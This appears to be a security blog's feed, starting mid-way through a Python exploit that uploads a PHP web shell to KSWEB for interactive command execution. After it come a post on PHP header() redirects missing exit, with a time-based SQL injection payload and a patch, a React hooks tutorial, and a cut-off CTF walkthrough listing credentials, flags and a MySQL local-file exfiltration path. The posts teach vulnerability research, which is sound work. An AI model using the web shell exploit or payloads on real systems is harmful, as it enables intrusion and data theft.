class="p">(</span><span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">2</span> <span class="k">else</span> <span class="s">'admin'</span> <span class="n">host</span> <span class="o">=</span> <span class="n">sys</span><span class="p">.</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="n">base_url</span> <span class="o">=</span> <span class="s">''</span> <span class="k">def</span> <span class="nf">print_action</span> <span class="p">(</span><span class="n">msg</span><span class="p">):</span> <span class="k">print</span> <span class="s">'{b}{g}[+]{r} {msg}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">b</span> <span class="o">=</span> <span class="n">BOLD</span><span class="p">,</span> <span class="n">g</span> <span class="o">=</span> <span class="n">GREEN</span><span class="p">,</span> <span class="n">r</span> <span class="o">=</span> <span class="n">RESET</span><span class="p">,</span> <span class="n">msg</span> <span class="o">=</span> <span class="n">msg</span><span class="p">)</span> <span class="k">def</span> <span class="nf">print_error</span> <span class="p">(</span><span class="n">msg</span><span class="p">):</span> <span class="k">print</span> <span class="s">'{b}{f}[!]{r} {msg}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">b</span> <span class="o">=</span> <span class="n">BOLD</span><span class="p">,</span> <span class="n">f</span> <span class="o">=</span> <span class="n">FAIL</span><span class="p">,</span> <span class="n">r</span> <span class="o">=</span> <span class="n">RESET</span><span class="p">,</span> <span class="n">msg</span> <span class="o">=</span> <span class="n">msg</span><span class="p">)</span> <span class="k">def</span> <span class="nf">run_cmd</span> <span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="n">hide_output</span> <span class="o">=</span> <span class="bp">False</span><span class="p">):</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'{b}/ksws.php?1={c}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">b</span> <span class="o">=</span> <span class="n">base_url</span><span class="p">,</span> <span class="n">c</span> <span class="o">=</span> <span class="n">cmd</span><span class="p">),</span> <span class="n">auth</span><span class="o">=</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">))</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">hide_output</span><span class="p">:</span> <span class="k">print</span> <span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="p">.</span><span class="n">rstrip</span><span class="p">()</span> <span class="k">return</span> <span class="n">r</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span> <span class="k">print</span> <span class="s">' _ __ _______ ________ ____ _____ _ _ _ '</span> <span class="k">print</span> <span class="s">' | |/ // ____</span><span class="se">\\</span><span class="s"> </span><span class="se">\\</span><span class="s"> / / ____| _ </span><span class="se">\\</span><span class="s"> / ____| | | | |'</span> <span class="k">print</span> <span class="s">' | </span><span class="se">\'</span><span class="s"> /| (___ </span><span class="se">\\</span><span class="s"> </span><span class="se">\\</span><span class="s"> /</span><span class="se">\\</span><span class="s"> / /| |__ | |_) | | (___ | |__ ___| | |'</span> <span class="k">print</span> <span class="s">' | &lt; </span><span class="se">\\</span><span class="s">___ </span><span class="se">\\</span><span class="s"> </span><span class="se">\\</span><span class="s"> </span><span class="se">\\</span><span class="s">/ </span><span class="se">\\</span><span class="s">/ / | __| | _ &lt; </span><span class="se">\\</span><span class="s">___ </span><span class="se">\\</span><span class="s">| </span><span class="se">\'</span><span class="s">_ </span><span class="se">\\</span><span class="s"> / _ </span><span class="se">\\</span><span class="s"> | |'</span> <span class="k">print</span> <span class="s">' | . </span><span class="se">\\</span><span class="s"> ____) | </span><span class="se">\\</span><span class="s"> /</span><span class="se">\\</span><span class="s"> / | |____| |_) | ____) | | | | __/ | |'</span> <span class="k">print</span> <span class="s">' |_|</span><span class="se">\\</span><span class="s">_</span><span class="se">\\</span><span class="s">_____/ </span><span class="se">\\</span><span class="s">/ </span><span class="se">\\</span><span class="s">/ |______|____/ |_____/|_| |_|</span><span class="se">\\</span><span class="s">___|_|_|</span><span class="se">\n</span><span class="s">'</span> <span class="n">port</span> <span class="o">=</span> <span class="mi">8000</span> <span class="n">print_action</span><span class="p">(</span><span class="s">'Scanning for WebFace port...'</span><span class="p">)</span> <span class="k">while</span> <span class="n">port</span> <span class="o">&lt;</span> <span class="mi">8100</span><span class="p">:</span> <span class="k">try</span><span class="p">:</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="s">'http://{h}:{p}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">h</span> <span class="o">=</span> <span class="n">host</span><span class="p">,</span> <span class="n">p</span> <span class="o">=</span> <span class="n">port</span><span class="p">))</span> <span class="k">if</span> <span class="n">r</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">401</span> <span class="ow">and</span> <span class="s">'for KSWEB'</span> <span class="ow">in</span> <span class="n">r</span><span class="p">.</span><span class="n">headers</span><span class="p">[</span><span class="s">'Server'</span><span class="p">]:</span> <span class="n">print_action</span><span class="p">(</span><span class="s">'Found WebFace on port {p}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">p</span> <span class="o">=</span> <span class="n">port</span><span class="p">))</span> <span class="k">break</span> <span class="k">else</span><span class="p">:</span> <span class="n">port</span> <span class="o">=</span> <span class="n">port</span> <span class="o">+</span> <span class="mi">1</span> <span class="k">except</span><span class="p">:</span> <span class="n">port</span> <span class="o">=</span> <span class="n">port</span> <span class="o">+</span> <span class="mi">1</span> <span class="n">base_url</span> <span class="o">=</span> <span class="s">'http://{h}:{p}'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">h</span> <span class="o">=</span> <span class="n">host</span><span class="p">,</span> <span class="n">p</span> <span class="o">=</span> <span class="n">port</span><span class="p">)</span> <span class="k">try</span><span class="p">:</span> <span class="n">print_action</span><span class="p">(</span><span class="s">'Testing credentials ({u}:{p})...'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">u</span> <span class="o">=</span> <span class="n">username</span><span class="p">,</span> <span class="n">p</span> <span class="o">=</span> <span class="n">password</span><span class="p">))</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">base_url</span><span class="p">,</span> <span class="n">auth</span><span class="o">=</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">))</span> <span class="k">if</span> <span class="n">r</span><span class="p">.</span><span class="n">status_code</span> <span class="o">!=</span> <span class="mi">200</span><span class="p">:</span> <span class="n">print_error</span><span class="p">(</span><span class="s">'The specified credentials ({u}:{p}) were invalid'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">u</span> <span class="o">=</span> <span class="n">username</span><span class="p">,</span> <span class="n">p</span> <span class="o">=</span> <span class="n">password</span><span class="p">))</span> <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="k">except</span><span class="p">:</span> <span class="n">print_error</span><span class="p">(</span><span class="s">'An error occurred connecting to the host'</span><span class="p">)</span> <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="n">print_action</span><span class="p">(</span><span class="s">'Uploading web shell...'</span><span class="p">)</span> <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="s">'{b}/includes/ajax/handler.php'</span><span class="p">.</span><span class="nb">format</span><span class="p">(</span><span class="n">b</span> <span class="o">=</span> <span class="n">base_url</span><span class="p">),</span> <span class="n">auth</span><span class="o">=</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">password</span><span class="p">),</span> <span class="n">data</span><span class="o">=</span><span class="p">{</span> <span class="s">'act'</span><span class="p">:</span> <span class="s">'save_config'</span><span class="p">,</span> <span class="s">'configFile'</span><span class="p">:</span> <span class="s">'/data/data/ru.kslabs.ksweb/components/web/www/ksws.php'</span><span class="p">,</span> <span class="s">'config_text'</span><span class="p">:</span> <span class="s">'&lt;?=`$_GET[1]`?&gt;'</span> <span class="p">})</span> <span class="k">print</span> <span class="n">run_cmd</span><span class="p">(</span><span class="s">'uname -a'</span><span class="p">)</span> <span class="n">run_cmd</span><span class="p">(</span><span class="s">'pwd'</span><span class="p">)</span> <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> <span class="n">cmd</span> <span class="o">=</span> <span class="nb">raw_input</span><span class="p">(</span><span class="s">'$: '</span><span class="p">)</span> <span class="k">if</span> <span class="n">cmd</span><span class="p">.</span><span class="n">lower</span><span class="p">()</span> <span class="o">==</span> <span class="s">'exit'</span><span class="p">:</span> <span class="k">break</span> <span class="k">else</span><span class="p">:</span> <span class="n">run_cmd</span><span class="p">(</span><span class="n">cmd</span><span class="p">)</span> <span class="k">print</span> <span class="n">print_action</span><span class="p">(</span><span class="s">'Cleaning up...'</span><span class="p">)</span> <span class="k">if</span> <span class="ow">not</span> <span class="n">run_cmd</span><span class="p">(</span><span class="s">'rm /data/data/ru.kslabs.ksweb/components/web/www/ksws.php'</span><span class="p">):</span> <span class="n">print_error</span><span class="p">(</span><span class="s">'Failed to delete the web shell from the target'</span><span class="p">)</span> </code></pre></div></div> Wed, 02 Oct 2019 00:00:00 +0000 Access Control and the PHP Header Function /access-control-and-the-php-header-function/ /access-control-and-the-php-header-function/ <p>Access control issues are noted by many to be something that never seems to get a whole lot less prevalent. Why? Because there is no real way to abstract it and make it automated; unless the developer is working with a framework which contains its own user system. As a result, implementing this will near always be down to the developer, and although it is a simple task, it can be very easy to overlook small mistakes or misinterpret how something will work.</p> <p>A pattern I have seen a lot of in the past, cropped up again last night when reviewing some open-source projects and felt it was worth reiterating on. That pattern, is using <a href="https://www.php.net/manual/en/function.header.php">PHP’s header function</a> to initiate redirects when a user is not permitted to be viewing the page.</p> <p>On the face of it, this pattern sounds fine and from a functional stand point <em>is</em> something you’d want to do. For example, if a user is trying to access a page that they need to be logged in to view, it’d not be user friendly to simply halt execution, you’d want to redirect them to the login page instead.</p> <p>The problem with this is in the assumption of what is happening in the implementation of the <code class="language-plaintext highlighter-rouge">header</code> function. As the name suggests, this function will literally set a HTTP header; meaning code like this is quite common place:</p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">include</span><span class="p">(</span><span class="s2">"connect.php"</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'username'</span><span class="p">]))</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s2">"location: index.php"</span><span class="p">);</span> <span class="p">}</span> <span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'id'</span><span class="p">]))</span> <span class="p">{</span> <span class="nv">$id</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'id'</span><span class="p">];</span> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"DELETE FROM posts WHERE id = '</span><span class="nv">$id</span><span class="s2">'"</span><span class="p">;</span> <span class="nv">$result</span> <span class="o">=</span> <span class="nf">mysqli_query</span><span class="p">(</span><span class="nv">$dbcon</span><span class="p">,</span> <span class="nv">$sql</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="nv">$result</span><span class="p">)</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s1">'location: index.php'</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">"Failed to delete."</span><span class="mf">.</span><span class="nf">mysqli_connect_error</span><span class="p">();</span> <span class="p">}</span> <span class="p">}</span> <span class="nf">mysqli_close</span><span class="p">(</span><span class="nv">$dbcon</span><span class="p">);</span> <span class="cp">?&gt;</span> </code></pre></div></div> <p>For those not overly familiar with PHP, let’s break down lines 5-7. The <code class="language-plaintext highlighter-rouge">$_SESSION</code> global is an array of session variables. In a user system, this will typically be used to store the username / user ID of the currently logged in user so that it persists between loading different pages. In this case, the developer has chosen to check if the <code class="language-plaintext highlighter-rouge">username</code> session variable exists (to veirfy the user is logged in) and if it isn’t, redirect them back to the home page.</p> <p>Again, functionally, this sounds great, except a big assumption has been made about the <code class="language-plaintext highlighter-rouge">header</code> function. The assumption being that it will end script execution (spoiler: it does not). Any code that proceeds a call to <code class="language-plaintext highlighter-rouge">header</code> will still execute, as even if one is to set the <code class="language-plaintext highlighter-rouge">Location</code> header in order to facilitate a redirect - it is still completely valid to set content in the body of the response too.</p> <p>In the project that I found this vulnerability in, all other files that rendered markup to the screen had appropriately handled this scenario, but in this particular file (used for handling post deletions), it had not been. It’s possible this was a simple mistake, or that the author had thought maybe there is no exploitable functionality given that the page instantly redirects. If it was the latter, then it would definitely be the wrong presumption.</p> <p>You’ll notice on line 11 that there is string interpolation being used to create an SQL query to be executed:</p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$id</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'id'</span><span class="p">];</span> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"DELETE FROM posts WHERE id = '</span><span class="nv">$id</span><span class="s2">'"</span><span class="p">;</span> <span class="nv">$result</span> <span class="o">=</span> <span class="nf">mysqli_query</span><span class="p">(</span><span class="nv">$dbcon</span><span class="p">,</span> <span class="nv">$sql</span><span class="p">);</span> </code></pre></div></div> <p>Although no data is output to the screen and a redirect is initiated, this does not stop us exploiting this. By injecting a call to <a href="https://dev.mysql.com/doc/refman/8.0/en/miscellaneous-functions.html#function_sleep">SLEEP</a> in the <code class="language-plaintext highlighter-rouge">id</code> parameter (using the payload <code class="language-plaintext highlighter-rouge">1' RLIKE (SELECT * FROM (SELECT(SLEEP(5)))a)-- a</code>), it is possible to confirm that the injection is there and that we can use a time-based attack due to the response not being sent until the entirety of the PHP file has been executed:</p> <p><img src="/assets/images/2019-10-01-access-control-and-the-php-header-function/curl.png" alt="" /></p> <p>If you take a look at the last timestamp of the request (denoted with a <code class="language-plaintext highlighter-rouge">&gt;</code>) and the first timestamp of the response (denoted by a <code class="language-plaintext highlighter-rouge">&lt;</code>), you will see there is a 5 second difference - the same as the value specified in the call to <code class="language-plaintext highlighter-rouge">SLEEP</code>; confirming the injection can be exploited. This can be further illustrated by throwing SQLmap at it:</p> <p><img src="/assets/images/2019-10-01-access-control-and-the-php-header-function/sqlmap.png" alt="" /></p> <p>To fix the main vulnerability that allowed the bypass of the access control, it took simply adding a call to <code class="language-plaintext highlighter-rouge">exit</code> directly after the call to <code class="language-plaintext highlighter-rouge">header</code> as can be seen on line 7 of the patched code below:</p> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">session_start</span><span class="p">();</span> <span class="k">include</span><span class="p">(</span><span class="s2">"connect.php"</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_SESSION</span><span class="p">[</span><span class="s1">'username'</span><span class="p">]))</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s2">"location: index.php"</span><span class="p">);</span> <span class="k">exit</span><span class="p">();</span> <span class="p">}</span> <span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'id'</span><span class="p">]))</span> <span class="p">{</span> <span class="nv">$id</span> <span class="o">=</span> <span class="nf">mysqli_real_escape_string</span><span class="p">(</span><span class="nv">$dbcon</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'id'</span><span class="p">]);</span> <span class="nv">$sql</span> <span class="o">=</span> <span class="s2">"DELETE FROM posts WHERE id = '</span><span class="nv">$id</span><span class="s2">'"</span><span class="p">;</span> <span class="nv">$result</span> <span class="o">=</span> <span class="nf">mysqli_query</span><span class="p">(</span><span class="nv">$dbcon</span><span class="p">,</span> <span class="nv">$sql</span><span class="p">);</span> <span class="k">if</span><span class="p">(</span><span class="nv">$result</span><span class="p">)</span> <span class="p">{</span> <span class="nb">header</span><span class="p">(</span><span class="s1">'location: index.php'</span><span class="p">);</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="k">echo</span> <span class="s2">"Failed to delete."</span><span class="mf">.</span><span class="nf">mysqli_connect_error</span><span class="p">();</span> <span class="p">}</span> <span class="p">}</span> <span class="nf">mysqli_close</span><span class="p">(</span><span class="nv">$dbcon</span><span class="p">);</span> <span class="cp">?&gt;</span> </code></pre></div></div> <p>After applying this (even without fixing the SQL injection), the same curl request will no longer invoke the call to <code class="language-plaintext highlighter-rouge">SLEEP</code> as can be seen in the below output:</p> <p><img src="/assets/images/2019-10-01-access-control-and-the-php-header-function/curl-fixed.png" alt="" /></p> Tue, 01 Oct 2019 00:00:00 +0000 Creating a Conditional React Hook /creating-a-conditional-react-hook/ /creating-a-conditional-react-hook/ <p>After seeing that the React team have been encouraging people to start using hooks for future development over the class based approach that has been used for stateful components previously, I decided to check them out.</p> <p>My first thoughts were that the new approach is <strong>really</strong> awesome. Much less boilerplate code and the ability to share logic between different components easily - what’s not to love?</p> <p>I quickly jumped in to trying to use them, and almost as quickly hit a dead end. I was trying to create a form that would:</p> <ol> <li>Load data from a remote server and populate a form with the result</li> <li>Call an API to save the data back when the user hits the save button</li> </ol> <p>The first point went smoothly, but the second? Not so much. One of the rules that has to be followed when using hooks is that they all must be called in the top level of the function.</p> <p>What I mean by this, is that anything that accepts a callback, such as <code class="language-plaintext highlighter-rouge">useEffect</code> cannot contain hook invocations. They all must appear in the main function of the hook, ensuring that the same number of hooks are invoked every time a re-render occurs.</p> <p>Why is this a problem? Well, I was trying to invoke the hook when the user clicks a button, which means the first render only calls one hook (to load the remote data) but the render after the user clicks the button was then calling two hooks.</p> <p>The solution to this was incredibly simple, but didn’t click straight away. That solution being - I could create a flag in my hook to indicate whether or not to actually execute the action. Doing this would ensure that the same number of hooks are called every time, but it’d only execute the action when the flag is changed to indicate it should.</p> <p>Below is an example of my hook, with some implementation replaced with some mock code for the sake of keeping it simple.</p> <div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">import</span> <span class="nx">React</span><span class="p">,</span> <span class="p">{</span> <span class="nx">useState</span><span class="p">,</span> <span class="nx">useEffect</span> <span class="p">}</span> <span class="k">from</span> <span class="dl">'</span><span class="s1">react</span><span class="dl">'</span> <span class="kd">function</span> <span class="nx">useApi</span> <span class="p">({</span> <span class="nx">endpoint</span><span class="p">,</span> <span class="nx">method</span><span class="p">,</span> <span class="nx">body</span><span class="p">,</span> <span class="nx">shouldExecute</span> <span class="p">})</span> <span class="p">{</span> <span class="kd">const</span> <span class="p">[</span><span class="nx">result</span><span class="p">,</span> <span class="nx">setResult</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="kc">null</span><span class="p">)</span> <span class="kd">const</span> <span class="p">[</span><span class="nx">executing</span><span class="p">,</span> <span class="nx">setExecuting</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="kc">false</span><span class="p">)</span> <span class="kd">const</span> <span class="p">[</span><span class="nx">hasError</span><span class="p">,</span> <span class="nx">setHasError</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="kc">false</span><span class="p">)</span> <span class="k">if</span> <span class="p">(</span><span class="nx">shouldExecute</span><span class="p">)</span> <span class="p">{</span> <span class="nx">setExecuting</span><span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="p">}</span> <span class="kd">const</span> <span class="nx">executeRequest</span> <span class="o">=</span> <span class="k">async</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="k">try</span> <span class="p">{</span> <span class="kd">const</span> <span class="nx">res</span> <span class="o">=</span> <span class="k">await</span> <span class="nx">ApiExample</span><span class="p">.</span><span class="nx">call</span><span class="p">(</span><span class="nx">endpoint</span><span class="p">,</span> <span class="nx">method</span><span class="p">,</span> <span class="nx">body</span><span class="p">)</span> <span class="nx">setResult</span><span class="p">(</span><span class="nx">res</span><span class="p">)</span> <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">error</span><span class="p">)</span> <span class="p">{</span> <span class="nx">setHasError</span><span class="p">(</span><span class="kc">true</span><span class="p">)</span> <span class="p">}</span> <span class="nx">setExecuting</span><span class="p">(</span><span class="kc">false</span><span class="p">)</span> <span class="p">}</span> <span class="nx">useEffect</span><span class="p">(()</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="nx">shouldExecute</span><span class="p">)</span> <span class="p">{</span> <span class="nx">executeRequest</span><span class="p">()</span> <span class="p">}</span> <span class="p">},</span> <span class="p">[</span><span class="nx">shouldExecute</span><span class="p">])</span> <span class="k">return</span> <span class="p">{</span> <span class="nx">executing</span><span class="p">,</span> <span class="nx">hasError</span><span class="p">,</span> <span class="nx">result</span> <span class="p">}</span> <span class="p">}</span> <span class="k">export</span> <span class="k">default</span> <span class="nx">useApi</span> </code></pre></div></div> <p>The purpose of this hook is to be able to specify the API endpoint, HTTP method and body and get an object back that indicates:</p> <ul> <li>Whether the task is executing (<code class="language-plaintext highlighter-rouge">executing</code>)</li> <li>Whether an error occurred making the request (<code class="language-plaintext highlighter-rouge">hasError</code>)</li> <li>The result of the request, if successful (<code class="language-plaintext highlighter-rouge">result</code>)</li> </ul> <p>If we were <em>not</em> to pass the <code class="language-plaintext highlighter-rouge">shouldExecute</code> value and use it and instead invoke <code class="language-plaintext highlighter-rouge">executeRequest</code> immediately inside the callback of <code class="language-plaintext highlighter-rouge">useEffect</code>, the HTTP request would be sent to the API pretty much instantly after the hook is invoked. Whilst this is fine for loading data, this was not sufficient for my use case of wanting to execute a request upon clicking a save button. Enter - the <code class="language-plaintext highlighter-rouge">shouldExecute</code> value.</p> <p>By adding this extra flag, <code class="language-plaintext highlighter-rouge">useEffect</code> can be configured to be dependent on <code class="language-plaintext highlighter-rouge">shouldExecute</code> (as can be seen in the second argument to <code class="language-plaintext highlighter-rouge">useEffect</code>). This means that every time <code class="language-plaintext highlighter-rouge">shouldExecute</code> changes - the <code class="language-plaintext highlighter-rouge">useEffect</code> callback is invoked (you can probably see where this is now going).</p> <p>Now that the <code class="language-plaintext highlighter-rouge">useApi</code> hook will only make the AJAX request based on the flag that we can bind a value to in its consumer, we can invoke it twice at the start of the consuming hook like this:</p> <div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">ApiWrapper</span> <span class="o">=</span> <span class="p">()</span> <span class="o">=&gt;</span> <span class="p">{</span> <span class="kd">const</span> <span class="p">[</span><span class="nx">shouldSave</span><span class="p">,</span> <span class="nx">setShouldSave</span><span class="p">]</span> <span class="o">=</span> <span class="nx">useState</span><span class="p">(</span><span class="kc">false</span><span class="p">)</span> <span class="kd">const</span> <span class="nx">a</span> <span class="o">=</span> <span class="nx">useApi</span><span class="p">({</span> <span class="na">endpoint</span><span class="p">:</span> <span class="dl">'</span><span class="s1">/load-data</span><span class="dl">'</span><span class="p">,</span> <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">GET</span><span class="dl">'</span><span class="p">,</span> <span class="na">shouldExecute</span><span class="p">:</span> <span class="kc">true</span> <span class="p">})</span> <span class="kd">const</span> <span class="nx">b</span> <span class="o">=</span> <span class="nx">useApi</span><span class="p">({</span> <span class="na">endpoint</span><span class="p">:</span> <span class="dl">'</span><span class="s1">/save-data</span><span class="dl">'</span><span class="p">,</span> <span class="na">method</span><span class="p">:</span> <span class="dl">'</span><span class="s1">POST</span><span class="dl">'</span><span class="p">,</span> <span class="na">body</span><span class="p">:</span> <span class="p">{</span> <span class="na">foo</span><span class="p">:</span> <span class="dl">'</span><span class="s1">bar</span><span class="dl">'</span> <span class="p">},</span> <span class="na">shouldExecute</span><span class="p">:</span> <span class="nx">shouldSave</span> <span class="p">})</span> <span class="k">if</span> <span class="p">(</span><span class="nx">shouldSave</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="nx">b</span><span class="p">.</span><span class="nx">executing</span><span class="p">)</span> <span class="p">{</span> <span class="nx">setShouldSave</span><span class="p">(</span><span class="kc">false</span><span class="p">)</span> <span class="p">}</span> <span class="k">return</span> <span class="p">(</span> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span> <span class="p">&lt;</span><span class="nt">span</span><span class="p">&gt;</span><span class="si">{</span><span class="nx">a</span><span class="p">.</span><span class="nx">result</span><span class="si">}</span><span class="p">&lt;/</span><span class="nt">span</span><span class="p">&gt;</span> <span class="p">&lt;</span><span class="nt">button</span> <span class="na">onClick</span><span class="p">=</span><span class="si">{</span><span class="p">()</span> <span class="o">=&gt;</span> <span class="nx">setShouldSave</span><span class="p">(</span><span class="kc">true</span><span class="p">)</span><span class="si">}</span><span class="p">&gt;</span>Save<span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span> <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span> <span class="p">)</span> <span class="p">}</span> </code></pre></div></div> <p>In this example, <code class="language-plaintext highlighter-rouge">a</code> will hold the data that would then populate a form (in this case just dumping it into a <code class="language-plaintext highlighter-rouge">span</code> to keep things concise) and <code class="language-plaintext highlighter-rouge">b</code> will hold the result of the save operation.</p> <p>On the first render of <code class="language-plaintext highlighter-rouge">ApiWrapper</code>, the <code class="language-plaintext highlighter-rouge">useApi</code> hook will be called twice and the results assigned to <code class="language-plaintext highlighter-rouge">a</code> and <code class="language-plaintext highlighter-rouge">b</code>. As you can see in the assignment of <code class="language-plaintext highlighter-rouge">b</code>, the <code class="language-plaintext highlighter-rouge">shouldExecute</code> property is bound to the value of <code class="language-plaintext highlighter-rouge">shouldSave</code>, which is only set to <code class="language-plaintext highlighter-rouge">true</code> once the user clicks the button.</p> <p>There is also a check to reset the flag, if <code class="language-plaintext highlighter-rouge">shouldSave</code> is <code class="language-plaintext highlighter-rouge">true</code>. If it is <code class="language-plaintext highlighter-rouge">true</code>, the user has previously clicked the button, and if <code class="language-plaintext highlighter-rouge">b.executing</code> is <code class="language-plaintext highlighter-rouge">false</code>, then that would mean the task in the <code class="language-plaintext highlighter-rouge">useApi</code> hook is now finished and we can reset the value of <code class="language-plaintext highlighter-rouge">shouldSave</code>.</p> <p>It’s a bit different to how one would normally approach this, but overall, it actually makes the code even more concise and easy to read, so I’d still say it’s worth adapting to this type of approach.</p> <p>If you need more information on how <code class="language-plaintext highlighter-rouge">useEffect</code> works and the general changes that have been introduced with hooks, make sure to check out the official documentation at <a href="https://reactjs.org/docs/hooks-intro.html">https://reactjs.org/docs/hooks-intro.html</a></p> Fri, 13 Sep 2019 00:00:00 +0000 ReadMe Walkthrough /readme-walkthrough/ /readme-walkthrough/ <h2 id="overview">Overview</h2> <p>ReadMe is aiming to teach users about two things. One, a feature of MySQL that I have found to not be widely known about - which is that the client can be forced to send local files to the server. Two, some basic x86 assembly and analysis with gdb.</p> <h2 id="network-configuration">Network Configuration</h2> <p>ReadMe is currently using DHCP on the <code class="language-plaintext highlighter-rouge">ens33</code> interface. This can be configured using <code class="language-plaintext highlighter-rouge">netplan</code>.</p> <p>The open ports are 22 (SSH), 3360 (a fake MySQL server), and 80 (Apache).</p> <h2 id="user-credentials">User Credentials</h2> <p><code class="language-plaintext highlighter-rouge">tatham:So...YouFiguredOutHowToRecoverThisHuh?GGWPnoRE</code> <code class="language-plaintext highlighter-rouge">julian:I_mean...WhoThoughtLettingTheMySQLClientTransmitFilesWasAGoodIdea?Sheesh</code></p> <p>Both these users can login via SSH (required as part of the challenge). Julian is not part of the sudo group but tatham is.</p> <h2 id="flags">Flags</h2> <ul> <li>User: 2e640cbe2ea53070a0dbd3e5104e7c98</li> <li>Root: 52eeb6cfa53008c6b87a6c79f4347275</li> </ul> <h2 id="path-to-user-flag">Path To User Flag</h2> <p>Initially, the user will be able to see three open ports:</p> <ul> <li>22</li> <li>80</li> <li>3306</li> </ul> <p>The service listening on port 3306 is a Python script that accepts connections and mimics a MySQL server with remote authentication disabled. This is part rabbit-hole and part resource saver, given there is no need to have MySQL running.</p> <p>On port 80, a web server can be found which needs to be brute forced to find some key files:</p> <ul> <li><code class="language-plaintext highlighter-rouge">/info.php</code>: shows <code class="language-plaintext highlighter-rouge">phpinfo()</code> output, which will show that the <code class="language-plaintext highlighter-rouge">mysqli.allow_local_infile</code> setting is enabled</li> <li><code class="language-plaintext highlighter-rouge">/reminder.php</code>: contains an important hint for the root flag (that the code in tatham’s directory is using an encoder) and will also reveal the path of a directory containing an important file</li> <li><code class="language-plaintext highlighter-rouge">/adminer.php</code>: a copy of adminer 4.4</li> </ul> <p>Upon visiting <code class="language-plaintext highlighter-rouge">reminder.php</code>, the user will see a message directed towards <code class="language-plaintext highlighter-rouge">julian</code> followed by an image which is being served from a directory with no index that also contains a file named <code class="language-plaintext highlighter-rouge">creds.txt</code>. This file will reveal the path to where julian’s login credentials can be found on the local file system (<code class="language-plaintext highlighter-rouge">/etc/julian.txt</code>).</p> <p>With this information, the user can point adminer towards their own MySQL server in order to exfiltrate the contents of <code class="language-plaintext highlighter-rouge">/etc/julian.txt</code>. To do this, a MySQL server must be installed (<code class="language-plaintext highlighter-rouge">apt install mysql-server</code>) and a user created 